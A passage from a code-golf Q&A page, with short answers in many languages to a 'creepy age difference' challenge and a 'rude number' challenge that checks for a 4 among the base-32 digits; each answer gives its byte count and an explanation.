console.log(f(18)(21)); console.log(f(80)(32)); console.log(f(15)(50)); console.log(f(47)(10000)); console.log(f(37)(38)); console.log(f(22)(18)); ``` [Answer] # [R](https://www.r-project.org/), ~~26~~ 25 bytes *-1 byte thanks to @djhurio* ``` any(rev(a<-scan())<a/2+7) ``` [Try it online!](https://tio.run/##K/r/PzGvUqMotUwj0Ua3ODkxT0NT0yZR30jbXPO/kZGCocV/AA) [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 6 bytes ``` H+7>ṚṀ ``` [Try it online!](https://tio.run/##y0rNyan8/99D29zu4c5ZD3c2/P//38RcR8HQAAgA "Jelly – Try It Online") Seemingly different algorithm than Comrade's. [Answer] ## [Retina](https://github.com/m-ender/retina), 20 bytes ``` O`.+ ^1{7}(1+)¶1\1\1 ``` [Try it online!](https://tio.run/nexus/retina#HcbLCYAwEEXR/atDIZpBZvJhpgsXboNkYRdiWxZgYzGEC5czu1ouj2nFUantdfM45dbHiV@@V0qvtcSUGKIUBGLj3WE4wJhid6bMSErCzIhK0X4 "Retina – TIO Nexus") Input is in unary with a linefeed between the two numbers. Output is `0` (not creepy) or `1` (creepy). ### Explanation ``` O`.+ ``` Sort the two numbers, so we know that the larger one is second. ``` ^1{7}(1+)¶1\1\1 ``` Call the smaller age `a` and the larger age `b`. We first capture `a-7` in group `1`. Then we try to match `2*(a-7)+1` in `b`, which means `b >= 2*(a-7)+1` or `b >= 2*(a-7)` or `b/2+7 > a` which is the criterion for a creepy relationship. [Answer] # TI-Basic, ~~20~~ ~~10~~ 9 bytes ``` max(2Ans<14+max(Ans ``` -10 bytes by using a list and part of Timtech's suggestion -1 byte using lirtosiast's suggestion Takes in a list of two ages, "{40,42}:prgmNAME" Returns 1 for 'creepy' and 0 for 'not creepy'. [Answer] # Python 3, ~~74~~ 45 bytes First Code Golf, probably terrible. 29 byte reduction by @Phoenix ``` lambda a,b:0 if(a/2)+7>b or(b/2)+7>a else 1 ``` [Answer] # GNU APL 1.2, 23 bytes Defines a function that takes two arguments and prints 1 if creepy, 0 if not. ``` ∇A f B (A⌊B)<7+.5×A⌈B ∇ ``` ### Explanation `∇` begins and ends the function `A f B` is the function header; function is named `f` and takes two arguments, `A` and `B` (functions in APL can be monadic - taking one argument - or dyadic - taking two arguments) `A⌊B` is `min(A,B)` and `A⌈B` is `max(A,B)` APL is evaluated right-to-left, so parentheses are needed to ensure proper precedence The other operators are self explanatory. Code might be golf-able, I'm still new to code-golf. [Answer] # JavaScript (ES6), 27 bytes ``` f=a=>b=>b>a?f(b)(a):b>a/2+7 ``` No currying (call like `f(a,b)` instead of `f(a)(b)`) ``` f=(a,b)=>b>a?f(b,a):b>a/2+7 ``` If `b > a`, swap parameters and retry. Otherwise, check. Currying doesn't save any bytes because of the recursive call. ``` f=a=>b=>b>a?f(b)(a):b>a/2+7 console.log(f(18)(22)) console.log(f(22)(18)) console.log(f(18)(21)) ``` [Answer] # Java, 21 bytes ``` a->b->a/2+7>b|b/2+7>a ``` Absolutely not original. ## Testing [Try it online!](https://tio.run/nexus/java-openjdk#TU/LasJAFN3nKw6BQNLGaTIqBm3TRaHQTRFciovJS6bEScjcCGLz7XZMYnU29zzu44w81FVD@BFHwVqSJStalZKsFHtaWVZaCq2xTvch53Me4GwBmgTJFF@KPsfWV4PXTZ7JVFAeo8AbLmISJ5NYvPDnRZz8Jn0Vl5WZr9ukNPPjmmMlMxyEVO6GGqn22x1Es9defwqQirY7o1GuSZu9gwqcZ4GPWdD5Nx5GPnh455Hxp/zBn/uYP/TPFj7CwLy7NDXSNLpzzk1L1PW0W/WlqBq4faY@0XLI5f3H2pw05QdWtcRq8xsqXNvJfDgZJnC0o2y/n9gGuxGEBhRM1HV5ckfHY1fgjraHd9gfTZ7XJxtL2N8VIR2oN2S6Buys7vIH "Java (OpenJDK 8) – TIO Nexus") ``` import java.util.function.*; public class Pcg122520 { static IntFunction<IntPredicate> f = a->b->a/2+7>b|b/2+7>a; public static void main(String[] args) { int[][] tests = { {40, 40}, {18, 21}, {80, 32}, {15, 50}, {47, 10000}, {37, 38}, {22, 18} }; for (int[] test: tests) { System.out.printf("%d, %d - %s%n", test[0], test[1], f.apply(test[0]).test(test[1]) ? "Creepy" : "Not creepy"); } } } ``` [Answer] # Python 3, 31 bytes `lambda a,b:abs(a-b)>min(a,b)-14` Not much shorter than the other python submissions, but I found a slightly different way to check for creepiness. I noticed that the acceptable difference between ages is equal to min - 14. This follows from algebraically rearranging the formula. ``` min = (max/2) + 7 min - 7 = max/2 2*min - 14 = max dif = max - min max = dif + min 2*min - 14 = dif + min min - 14 = dif ``` This let me solve without needing two constants, and also without needing to use both max and min, instead using abs(a-b). From a golfing perspective I only got one byte less than @nocturama's solution, but I used a slightly different formula to do it. [Answer] # Excel, ~~26~~ 24 Bytes Cell formula that takes input as numbers from cell range `A1:B1` and output a boolean value representing creepiness to the formula cell ``` =OR(A1/2+7>B1,B1/2+7>A1) ``` **Old Version, 26 Bytes** ``` =MAX(A1:B1)/2+7>MIN(A1:B1) ``` [Answer] # [Jq 1.5](https://stedolan.github.io/jq/), 11 bytes ``` max/2+7>min ``` [Try it online!](https://tio.run/##HYk7DoAgEAV7T0HvEmHBSOVFjIUlRsEPRAvP7rr4qpl5806DVSCsGqEatAOBupDjZvBvLYj2f20HQiteEcNiXCFEzm58aJ3uBuuuX30geuOWfAwnSRnyskgftpxYjumSMSeWDw "jq – Try It Online") [Answer] # TI-Basic, ~~10~~ ~~9~~ 10 bytes ``` 2min(Ans)-14≤max(Ans ``` List input from `Ans`, outputs `1` if "creepy" or `0` otherwise. [Answer] # [Mathics](http://mathics.github.io/), 16 bytes ``` Max@#/2+7<Min@#& ``` [Try it online!](https://tio.run/##y00sychMLv6fZvvfN7HCQVnfSNvcxjczz0FZ7X9AUWZeiUNadLWJgY6CiYECENTGcsFFDS10FIwM0UUtgGqNjTDUmuoomGKYYGKuo2BoAAQoosZAUWMLiNr/AA "Mathics – Try It Online") -2 bytes thanks to [@GregMartin](https://codegolf.stackexchange.com/users/56178/greg-martin) True for not creepy, false for creepy. ``` (* Argument: A list of integers *) Max@# (* The maximum of the input *) /2+7 (* Divided by 2, plus 7 *) < (* Is less than? *) Min@# (* The minimum of the input *) & (* Anonymous function *) ``` [Answer] ## SAS, 77 bytes ``` %macro t(a,b);%put%eval(%sysfunc(max(&a,&b))/2+7>%sysfunc(min(&a,&b)));%mend; ``` [Answer] ## Batch, 50 bytes ``` @if %1 gtr %2 %0 %2 %1 @cmd/cset/a"%1*2-14-%2>>31 ``` Outputs `-1` for creepy, `0` for not creepy. Since Batch only has integer arithmetic I have to work in units of half years. [Answer] # [Perl 6](https://perl6.org), 15 bytes ``` {.max/2+7>.min} ``` [Try it](https://tio.run/nexus/perl6#ZY7LaoNAFIb38xT/IlSto@MtjVQSCt131aUQUp2C4GWaGUtC8In6Fn0xezS9UDybw3znY/6/1xLvd36RseaMm6IrJbbjxW8OJxG5m53fVO0w0unBSG2wRV21UtsOCer@woCVIOhrVVfGFsj1LSzPmrdwMrq7nx@rwC@65sUWeekKh2MVQr7BejxKqc4WvfdsYD31eKaIjKn60MKd8zL22h2/o70d7LxqVW94Lk9KFkaWPC@lLhxMRSqNqb09K5Ty62By2DAmAUcSgMbDU2dwzWdhyhGFC5ySHUdX/GOuOdbBP5RsOMKA5g/FhOJ08V8UkbnAXw "Perl 6 – TIO Nexus") ## Expanded ``` { # bare block lambda with implicit parameter 「$_」 # (input is a List) .max / 2 + 7 > .min } ``` [Answer] # [Crystal](https://crystal-lang.org/), 44 27 bytes -17 from looking at [daniero](https://codegolf.stackexchange.com/a/122839/69490)'s answer in Ruby. ``` def a(a)7+a.max/2>a.min end ``` [Try it online!](https://tio.run/nexus/crystal#@5@SmqaQqJGoaa6dqJebWKFvZAekM/MUUvNSuApKS4qBktEmBjomBrGacL6hhY6RIRLfwkDH2AhZ3lTHFFm9ibmOoQEQIAkZm@sYWyDxjYx0DIH8//8B "Crystal – TIO Nexus") [Answer] # Python 3 - ~~32~~ 27 bytes Unable to comment, but I got a slightly shorter answer than the other Python 3 solution: ``` lambda *a:min(a)<max(a)/2+7 ``` -5 thanks to @Cyoce! [Answer] # **FORTH 96 Bytes** ``` : C 2DUP > -1 = IF SWAP THEN 2 / 7 + SWAP > -1 = IF ." CREEPY " ELSE ." NOT CREEPY " THEN ; ``` **Output:** ``` 40 40 c NOT CREEPY ok 18 21 c 18 21 c NOT CREEPY ok 80 32 c 80 32 c CREEPY ok 15 50 c 15 50 c CREEPY ok 47 10000 c 47 10000 c CREEPY ok 37 38 c 37 38 c NOT CREEPY ok 22 18 c 22 18 c NOT CREEPY ok ``` [Answer] # [Thunno 2](https://github.com/Thunno/Thunno2) `G`, 5 [bytes](https://github.com/Thunno/Thunno2/blob/main/docs/codepage.md) ``` ½7+r< ``` [Attempt This Online!](https://ato.pxeger.com/run?1=m728JKM0Ly_faGm0krtS7IKlpSVpuhbLDu011y6yWVKclFwMFVqwzNBUR8HUAMIDAA) Port of Riley's 05AB1E answer. #### Explanation ``` ½7+r< # Implicit input ½ # Halve each value 7+ # Add seven to each r # Reverse the list < # Vectorised less than # Get the maximum # Implicit output ``` [Answer] # [K (oK)](https://github.com/JohnEarnest/ok), 16 bytes ``` {(x&y)<7+-2!x|y} ``` [Try it online!](https://tio.run/##y9bNz/7/v1qjQq1S08ZcW9dIsaKmsvZ/goGVCrqgnoaJgYKJgSYXdklDUwVTA83/AA "K (oK) – Try It Online") [Answer] # [Uiua](https://uiua.org), 8 [bytes](https://codegolf.stackexchange.com/a/265917/97916) ``` <+7÷2⊃↥↧ ``` [Try it online!](https://www.uiua.org/pad?src=ZiDihpAgPCs3w7cy4oqD4oal4oanCgpmIDQwIDQwCmYgMTggMjEKZiA4MCAzMgpmIDE1IDUwCmYgNDcgMTAwMDAKZiAzNyAzOApmIDIyIDE4CmYgMTMgMTMKZiAyMSAyOQo=) ``` <+7÷2⊃↥↧ input: two ages as two separate stack items ⊃↥↧ push max and min of the two ages +7÷2 max / 2 + 7 < is greater than min? ``` [Answer] # [Nekomata](https://github.com/AlephAlpha/Nekomata) + `-e`, 5 bytes ``` Ṁä7+≥ ``` [Attempt This Online!](https://ato.pxeger.com/run?1=m70iLzU7PzexJHFNtJJurpKOgpJuqlLsgqWlJWm6Fqse7mw4vMRc-1Hn0iXFScnFUOEFN62iTQx0TAxiuaINLXSMDIG0hYGOsRGIb6pjChI3MdcxNAACINPYXMfYAkgbGekYWsRCjAAA) Returns `True` for not creepy, `False` for creepy. ``` Ṁ Get the maximum of the input ä Divide it by 2 7+ Add 7 ≥ Is every element of the input greater than or equal to that? ``` ]
[Question] [ For a while now, I've been running into a problem when counting on my fingers, specifically, that I can only count to ten. My solution to that problem has been to count in binary on my fingers, putting up my thumb for one, my forefinger for two, both thumb and forefinger for three, etc. However, we run into a bit of a problem when we get to the number four. Specifically, it requires us to put up our middle finger, which results in a rather unfortunate gesture, which is not typically accepted in society. This type of number is a *rude number*. We come to the next rude number at 36, when we raise the thumb on our second hand and the middle finger of our first hand. The definition of a rude number is any number that, under this system of counting, results in us putting up *only* the middle finger of any hand. Once we pass 1023 (the maximum number reachable on one person, with two hands of five fingers each), assume we continue with a third hand, with additional hands added as required. ## Your Task: Write a program or function that receives an input and outputs a truthy/falsy value based on whether the input is a rude number. ## Input: An integer between 0 and 109 (inclusive). ## Output: A truthy/falsy value that indicates whether the input is a rude number. ## Test Cases: ``` Input: Output: 0 ---> falsy 3 ---> falsy 4 ---> truthy 25 ---> falsy 36 ---> truthy 127 ---> falsy 131 ---> truthy ``` ## Scoring: This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so the lowest score in bytes wins. [Answer] # [APL (dzaima/APL)](https://github.com/dzaima/APL), 5 [bytes](https://codegolf.meta.stackexchange.com/a/9429/43319 "When can APL characters be counted as 1 byte each?") ``` 4∊32⊤ ``` [Try it online!](https://tio.run/##SyzI0U2pSszMTfz/P@1R2wSTRx1dxkaPupb8f9Q3Fch/1DYx7dAKAwVjBRMFI1MFYzMFQyNzBUNjw/8A "APL (dzaima/APL) – Try It Online") `4∊` is 4 a member of `32⊤` to-base-32? [Answer] # Regex (ECMAScript), 37 bytes Input is in unary, as the length of a string of `x`s. ``` ^((?=(x+)(\2{31}x*))\3)*(x{32})*x{4}$ ``` [Try it online!](https://tio.run/##Tc/PT8IwGMbxO38FLgbed3Oj@yEm1MLJAxcOehRNGihbtXRNW2Ay9rdPOJh4/jzJk@8XP3K3sdL42Bm5FXZf62/x01umxWn4KsqXxgCc2XwS9p8ACwZNhLDO2jztmhBxnWMITZtnHYZNW3T3fTg5Y@LrN2@lLgETp@RGwPQhLhCpY4SeKqkEgGJW8K2SWgDiHdMHpbAtmUqcUdLDOB4jlTsAzcpECV36CufZ5SLdiq9AMsOtE0vtoXwnH4h/IP6DnqeLdHZj9JWtT8FSH7mS26HluhSzYRApuqstUPnMBJVRhNfDoAkSK4zgHiQme@43FVjE1o1G5prk4VaRUnPwztvrhHZdT@KUTB8HBSEkLlJCBmmekqfsFw "JavaScript (SpiderMonkey) – Try It Online") ``` ^ ( (?=(x+)(\2{31}x*)) # \2 = floor(tail / 32); \3 = tool to make tail = \2 \3 # tail = \2 )* # Loop the above as many times as necessary to make # the below match (x{32})*x{4}$ # Assert that tail % 32 == 4 ``` [Answer] # [JavaScript (SpiderMonkey)](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Releases/45), 23 bytes ``` f=x=>x&&x%32==4|f(x>>5) ``` [Try it online!](https://tio.run/##y0osSyxOLsosKNEtLshMSS3Kzc/LTq38/z/NtsLWrkJNrULV2MjW1qQmTaPCzs5U839JanFJcmJxqoKtQrSBjrGOiY6RqY6xmY6hkbmOobFhLBdMgV5afpFrYnKGRoWCrZ1CQVFmXolGgkp1RW1MCUhApRpoomZtgqbmfwA "JavaScript (SpiderMonkey) – Try It Online") This is a trivial solution, you just want to convert to base 32 and check if there is a 4 in it. --- # [JavaScript (SpiderMonkey)](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Releases/45), 26 bytes ``` x=>x.toString(32).match(4) ``` [Try it online!](https://tio.run/##NYyxDsIgFAB3v4KhAyRIBKpOdPMLHNWkBEGpaSHwYjBNvx3r4Hq5u0G/dTbJR9jm6O82jWF62U91qhbVFQbhDMlPDywFYaMG88QtqWAzGJ0tUuiyo5K2VOypPFAujpRLftv8BeZCOuk1Kkh1KK4nwH0zl@UKP9DMDhey9ITULw "JavaScript (SpiderMonkey) – Try It Online") It's interesting that `/4/.test(...)` cost one more byte than `....match(4)`. [Answer] # [Japt](https://github.com/ETHproductions/japt), 5 bytes ``` sH ø4 ``` [Try it online!](https://tio.run/##y0osKPn/v9hD4fAOk///ow10jHVMdIxMdYzNdAyNzHUMjQ1juXRzAQ "Japt – Try It Online") ### Explanation ``` // Implicit input sH // To a base-H (=32) string ø // Contains 4 // 4 (JavaScript interprets this as a string) ``` [Answer] ## Ruby, ~~36~~ 19 bytes ``` ->n{n.to_s(32)[?4]} ``` [Try it online!](https://tio.run/##BcFJDkAwFADQvVN8bEg@0QErHKRpxNRY/YphIdWz13vnM7/BQBeKnhyVtx2vTPBcDVL7oCoUKJHXKBpkvEUmmC63adlhtfDRFwEcz31Bkjry0PWQujg2irRPoo3W8AM) Saved 17 bytes with [@tsh](https://codegolf.stackexchange.com/users/44718/tsh)'s method. [Answer] # APL+WIN, 10 bytes Prompts for input of integer ``` 4∊(6⍴32)⊤⎕ ``` Noting six hands are required to represent 10^9 converts to vector of 6 elements of the base 32 representation and checks if a 4 exists in any element. [Answer] # [Python 2](https://docs.python.org/2/), ~~34~~ 32 bytes ``` f=lambda a:a%32==4or a>0<f(a/32) ``` [Try it online!](https://tio.run/##DcfNCkBAEADgM08xF6Gm2Bk/JbsvIoeRNooh7cXTL9/tu9@wXUoxenvIuawCMkjGZG1zPSCuHn0hFVMZ/X@FXWGqkbFBapE7NNSjYTMPaXI/uwZQzK3L0Rdaxg8 "Python 2 – Try It Online") 2 bytes thanks to [tsh](https://codegolf.stackexchange.com/users/44718/tsh) [Answer] # [Perl 6](https://github.com/nxadm/rakudo-pkg), 16 bytes ``` {.base(32)~~/4/} ``` [Try it online!](https://tio.run/##K0gtyjH7n1upoJamYPu/Wi8psThVw9hIs65O30S/9r81V1p@kYJGTmZearGmQjUXZ3FipUKahrZeeX5RSnG0QawmV@1/AwUFBV1dXTsFhbTEnOJKLmM0vgmcX1JUWpJRyWVkiqbBDE2BoZE5igJDY0MUBQA "Perl 6 – Try It Online") Checks if there is a `4` in the base 32 representation of the number. Returns either Nil as false or a Match containing a `4`. You can prove this by the fact that \$2^5 = 32\$ so each digit is the state of each hand. [Answer] # x86 Machine Code, 17 bytes ``` 6A 20 59 85 C0 74 09 99 F7 F9 83 FA 04 75 F4 91 C3 ``` The above bytes define a function that takes the number as input in the `EAX` register, and returns the result as a Boolean value in the `EAX` register (`EAX` == 0 if the input is *not* a rude number; `EAX` != 0 if the input *is* a rude number). In human-readable assembly mnemonics: ``` ; Determines whether the specified number is a "rude" number. ; Input: The number to check, in EAX ; Output: The Boolean result, in EAX (non-zero if rude; zero otherwise) ; Clobbers: ECX, EDX IsRudeNumber: push 32 ; \ standard golfing way to enregister a constant value pop ecx ; / (in this case: ECX <= 32) CheckNext: test eax, eax ; \ if EAX == 0, jump to the end and return EAX (== 0) jz TheEnd ; / otherwise, fall through and keep executing cdq ; zero-out EDX because EAX is unsigned (shorter than XOR) idiv ecx ; EAX <= (EAX / 32) ; EDX <= (EAX % 32) cmp edx, 4 ; \ if EDX != 4, jump back to the start of the loop jne CheckNext ; / otherwise, fall through and keep executing xchg eax, ecx ; store ECX (== 32, a non-zero value) in EAX TheEnd: ret ; return, with result in EAX ``` **[Try it online!](https://tio.run/##jVJdT8IwFH3fr7ipkGyKX@BHAqIxxgdfjCE@@EBCRldYtWvJ2pFFw1933nYDBKfYl7bnntN77@mlh1NKiz0uqcgiBlfaRGOlxFF87W2AXCFU2BA86AGij1kyZqnPpYF5KDIWeB8e4HKUlOlMmJ4DRqNQJ6ORT4ZmlukYkUanPZTEBZfLBtXMnppNRvMf4buY0bdHlptujdIwbYRThnmr3GpYr@/V@Tlm9zKqYVBh6mAe8bn4vTTUJTMXh8aZSx/VppdV/lUrNaScxtN1qt96KRvYdqILpB8S8EvvA4DjfVAZem7wO6ZcG5YC13B/@wL7x1tCqyt/0QIo5NLqdgtts6Rld5oTK1wpqFBjHBAQeIUtYVBORspMlsrVsCyKueJR6c96wm5l9JTilA0c6@e8zWxw4pMmH5r@NTQ12tIqKS3wN2a16vAGSIogsfVLhe7YS4A1LTzPPp@EXPrL5ycqBZeUQx9OerhdwUUPDg544OIfq7521F31vPB2c9vnFflvWufiX7TT9uX/eJ1T5H3/mBNrSfFJJyKc6uIw6bS/AA "C (gcc) – Try It Online")** [Answer] # [J](http://jsoftware.com/), 12 bytes ``` 4 e.32#.inv] ``` [Try it online!](https://tio.run/##DcqxDkAwFEbhvU/xBwkSubnFomLxAN7AUE0bRBgqYvHs1eRMX84enB8IDAUOLSw1dUrb@cyhFAkhdwPlqPApOC/ENMaVqOugPSS/knHr5bDCmvWKEMuK3pWw2qzYSDIj/A "J – Try It Online") [Answer] # [Julia 1.0](http://julialang.org/), 25 bytes ``` f(n)=n%32==4||n>0<f(n>>5) ``` [Try it online!](https://tio.run/##yyrNyUw0rPj/P00jT9M2T9XYyNbWpKYmz87ABihiZ2eq@b@gKDOvJCdPIzexQCNP1w6kUEch2kBHwVhHwURHwcgUyDLTUTA0MgcSxoaxmpr/AQ "Julia 1.0 – Try It Online") ### [Julia 1.0](http://julialang.org/), 26 bytes Alternative that is 1 character shorter, but 1 byte longer, too bad that `∈` takes 3 bytes in unicode. ``` n->'4'∈string(n,base=32) ``` [Try it online!](https://tio.run/##yyrNyUw0rPifZvs/T9dO3UT9UUdHcUlRZl66Rp5OUmJxqq2xkeb/AqBASU6eRm5igQZQWZpGnqaOQrSBjoKxjoKJjoKRKZBlpqNgaGQOJIwNYzU1/wMA "Julia 1.0 – Try It Online") [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), 5 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` 32B4å ``` Port of [*@Adám*'s APL (dzaima/APL) answer](https://codegolf.stackexchange.com/a/180494/52210). [Try it online](https://tio.run/##yy9OTMpM/f/f2MjJ5PDS//8NjQ0B) or [verify all test cases](https://tio.run/##yy9OTMpM/V9Waa@k8KhtkoKSfeV/YyMnk8NL/@v8jzbQMdYx0TEy1TE20zE0MtcxNDaMBQA). **Explanation:** ``` 32B # Convert the (implicit) input to Base-32 4å # And check if it contains a 4 # (output the result implicitly) ``` [Answer] # [Catholicon](https://github.com/okx-code/Catholicon), 4 bytes ``` ǔ?QǑ ``` Takes a number as a base-256 string. [Try it online!](https://tio.run/##S04sycjPyUzOz/v///gU@8DjE///t7ExNDa0swMA "Catholicon – Try It Online") [Test suite](https://tio.run/##S04sycjPyUzOz/v///gU@8DjE///j7axMbCz01GwsTGGUCYQysgUKmoGoQ2NzKEMY0OoQiCws4sFAA "Catholicon – Try It Online") [Answer] # [C# (Visual C# Interactive Compiler)](http://www.mono-project.com/docs/about-mono/releases/5.0.0/#csc), 31 bytes ``` n=>{for(;n>0;n/=n%32==4?0:32);} ``` Outputs by throwing an exception. The way you convert one number from decimal to another base is to divide the decimal number by that base repeatedly and take the remainder as a digit. That is what we do, and we check if any of the digits have a value of 4 in base-32; [Try it online!](https://tio.run/##XY4xD4IwEIV3f8VJYoQQtQKTtRg3BzdNnLEUucGraY@oIf52BJ10ecl99@XlaT/THrvGI13g8PRsrvNj7UxR9kCOtprR0hqJ80p1pPK2si6UlAtJC0WTNFEq24hVmkTy1cnR8O1lQCUkrhMhlhLjOGL3bE8O2YQYyWqIz7VHMmEA6GnKUIBrSgPUXM/GzYO@Txes6/bX/NNgZ@9fYCtABrbAtetZQWAe2tyG@eOhrMve "C# (Visual C# Interactive Compiler) – Try It Online") [Answer] # [R](https://www.r-project.org/), ~~50~~ 48 bytes ``` any(2^(0:4)%*%matrix(scan()%/%2^(0:34)%%2,5)==4) ``` [Try it online!](https://tio.run/##K/r/PzGvUsMoTsPAykRTVUs1N7GkKLNCozg5MU9DU1VfFSxjDJRSNdIx1bS1NdH8b/IfAA "R – Try It Online") Uses a neat matrix-based approach now (courtesy of @Giueseppe). It generates a 5x7 matrix of bits, converts this to a series of base 32 integers, and checks for any 4s. [Answer] # ES6, ~~31~~ ~~30~~ 26 bytes ``` b=>b.toString(32).match`4` ``` Feel free to say ideas on how to reduce this further, if any. [Answer] # [Python 3](https://docs.python.org/3/), 43 bytes Checks every 5-bit chunk to see if it is rude (equal to 4). ``` lambda n:any(n>>5*i&31==4for i in range(n)) ``` [Try it online!](https://tio.run/##VY9PC4JAEMXP7qcYPMRuLJH/CgQ99gGiW3XYcssFHcVdCRE/@2YZoZfh9@YNjzd1Z/IKA6v0sc1kcrGFKG@ZAIwFdhTTNFqrVeAlSfioGlCgEBqBT0mRMWukNnehpYYEzsShWw4HUWjJ@CiCuQg5nJp2Yj9anO1mlufv554XeD@TXAn5FsC6NRwE6pf8KPhXiIlTNwoNdfsBdF61RQadkuPsBz6RHtHdjDGlMHSRxGH6f9oyxoh9Aw "Python 3 – Try It Online") [Answer] # [C (gcc)](https://gcc.gnu.org/), 34 bytes ``` f(i){return i?i&31^4?f(i/32):1:0;} ``` [Try it online!](https://tio.run/##LY7NTsMwEITveYqRUZGtOjQ/BaS4NA8CRapSm1oKG2Q7hxLl2cNG5bKanZ35tF3@1XXLg6euHy8Wh5gufni6HhcnvZqCTWMg@NY/1uXnvmVzV1eqKZvCzMv32ZNU2ZQBnhKSjen9hDdMKDRqjb1G9czqRaOsXnnUJWaN3hKHov@1g5NrSe3@F6YoDTIMdEOAXHOFAeGwlgy2W1J8A34CR50UG488P2ITP0jo@wN00rhjWaoWIoUxXW8CDYQ79/EmlMnmbPkD "C (gcc) – Try It Online") [Answer] # [Charcoal](https://github.com/somebody1234/Charcoal), 6 bytes ``` №⍘N³²4 ``` [Try it online!](https://tio.run/##S85ILErOT8z5/z@gKDOvRMM5vxRIOiUWpwaXAAXSNTzzCkpL/Epzk1KLNDR1FIyNgISSiZKmpvX//4ZGlv91y3IA "Charcoal – Try It Online") Link is to verbose version of code. Outputs `-`s according to how rude the number is. Explanation: ``` N Input as a number ⍘ Convert to base as a string ³² Literal 32 № Count occurrences of 4 Literal string `4` ``` I use string base conversion to avoid having to separate the numeric literals for `32` and `4`. [Answer] # [Tidy](https://github.com/ConorOBrien-Foxx/Tidy), 18 bytes ``` {x:4∈base(32,x)} ``` [Try it online!](https://tio.run/##FYtBDoIwFAX3nOKFVZt0YQBdYLwCZwDrb2iibWw/ocaw55xepJbdy7wZto9PNuhv@Zv67rfv9ymSaBuV5Jb9wqJgLZIyIkm5wTtocVJoFTqF5lzWRcqqZooMXdJYV9WRGZjgXxjKF2e/wthQDEMryHGwFGEdeLYRkd4LOU1XjEcyorCp@E@mUOc/ "Tidy – Try It Online") Checks if `4` is an element of `base(32,x)` (base conversion). [Answer] # [Haskell](https://www.haskell.org/), 31 bytes ``` elem 9.(mapM(:[6..36])[0..5]!!) ``` [Try it online!](https://tio.run/##DcpRCoQgEADQq0ywHwazQ2a5bOAROoH5IaFtrIZU52/qfb@fP/4hJY5m4pBChi@J7MsoBquJlHa1bYh6V1U1Z79uYKDs63bCC54GEWyDCjtse1QaZftBqaQDvuaY/HLwey7lBg "Haskell – Try It Online") [Answer] # [Cubix](https://github.com/ETHproductions/cubix), 26 bytes ``` u!@-W14;OIS%/\;;,p;?wO@u/s ``` [Try it online!](https://tio.run/##Sy5Nyqz4/79U0UE33NDE2t8zWFU/xtpap8DavtzfoVS/@P9/Q2NDAA "Cubix – Try It Online") Wraps onto a cube with edge length 3 as follows ``` u ! @ - W 1 4 ; O I S % / \ ; ; , p ; ? w O @ u / s . . . . . . . . . . . . . . . . . . . . . . . . . . . . ``` [Watch it run](https://ethproductions.github.io/cubix/?code=ICAgICAgdSAhIEAKICAgICAgLSBXIDEKICAgICAgNCA7IE8KSSBTICUgLyBcIDsgOyAsIHAgOyA/IHcKTyBAIHUgLyBzIC4gLiAuIC4gLiAuIC4KLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4KICAgICAgLiAuIC4KICAgICAgLiAuIC4KICAgICAgLiAuIC4K&input=MzY=&speed=20) A fairly basic implementation, without all the redirects it does : * `IS` initiates the program by pushing the input and 32 to the stack * `%4-!` gets the remainder and checks if it is 4 by subtraction * `1O@` output 1 if it was 4 and halt * `;;,` clean up the stack and do integer divide * `p;?` clean up bottom of the stack and check div result for 0 * `O@` if div result zero output and halt * `s` swap the top of stack and start back at step 2 above [Answer] # [MATL](https://github.com/lmendo/MATL), 8 bytes ``` 32YA52=a ``` [Try it online!](https://tio.run/##y00syfn/39go0tHUyDYRyDIDAA "MATL – Try It Online") [Answer] ## Batch, ~~77~~ 45 bytes ``` @cmd/cset/a"m=34636833,n=%1^m*4,(n-m)&~n&m*16 ``` Based on [these bit twiddling hacks](https://graphics.stanford.edu/~seander/bithacks.html#ZeroInWord). Explanation: Only 6 hands need to be checked due to the limited range (30 bits) of the input that's required to be supported. The magic number `m` is equivalent to `111111` in base 32, so that the first operation toggles the rude bits in the input number. It then remains to find which of the 6 hands is now zero. [Answer] # x86 machine code, 14 bytes (same machine code works in 16-bit, 32-bit, and 64-bit. In 16-bit mode, it uses AX and DI instead of EAX and EDI in 32 and 64-bit mode.) Algorithm: check low 5 bits with `x & 31 == 4`, then right-shift by 5 bits, and repeat if the shift result is non-zero. Callable from C with `char isrude(unsigned n);` according to the x86-64 System V calling convention. 0 is truthy, non-0 is falsy (this is asm, not C1). ``` line addr code bytes num 1 ; input: number in EDI 2 ; output: integer result in AL: 0 -> rude, non-zero non-rude 3 ; clobbers: RDI 4 isrude: 5 .check_low_bitgroup: 6 00000000 89F8 mov eax, edi 7 00000002 241F and al, 31 ; isolate low 5 bits 8 00000004 2C04 sub al, 4 ; like cmp but leaves AL 0 or non-zero 9 00000006 7405 jz .rude ; if (al & 31 == 4) return 0; 10 11 00000008 C1EF05 shr edi, 5 12 0000000B 75F3 jnz .check_low_bitgroup 13 ;; fall through to here is only possible if AL is non-zero 14 .rude: 15 0000000D C3 ret 16 0E size: db $ - isrude ``` This takes advantage of the short-form `op al, imm8` encoding for AND and SUB. I could have used `XOR al,4` to produce 0 on equality, but SUB is faster because it can macro-fuse with JZ into a single sub-and-branch uop on Sandybridge-family. Fun fact: using the flag-result of a shift by more than 1 will be slow on P6-family (front-end stalls until the shift retires), but that's fine. --- Footnote 1: This is an assembly language function, and x86 asm has both `jz` and `jnz`, so [as per meta](https://codegolf.meta.stackexchange.com/questions/2190/interpretation-of-truthy-falsey#comment9441_2194) I can choose either way. I'm not intending this to match C truthy/falsy. It happened to be convenient to return in AL instead of EFLAGS, so we can describe the function to a C compiler without a wrapper, but my choice of truthy/falsy isn't constrained by using a C caller to test it. [Answer] # [Nibbles](http://golfscript.com/nibbles/index.html), 4.5 bytes ``` ?`@32$4 ``` [Attempt This Online!](https://ato.pxeger.com/run?1=m708LzMpKSe1eMGCpaUlaboWy-0THIyNVEwgPKjggs0GXMZcJlxGplzGZlyGRuZchsaGECkA) ``` ?`@32$4 ? Find the first index of 4 4 `@32 in the base 32 representation of $ input ``` [Answer] # [Retina 0.8.2](https://github.com/m-ender/retina/wiki/The-Language/a950ad7d925ec9316e3e2fb2cf5d49fd15d23e3d), 31 bytes ``` .+ $* 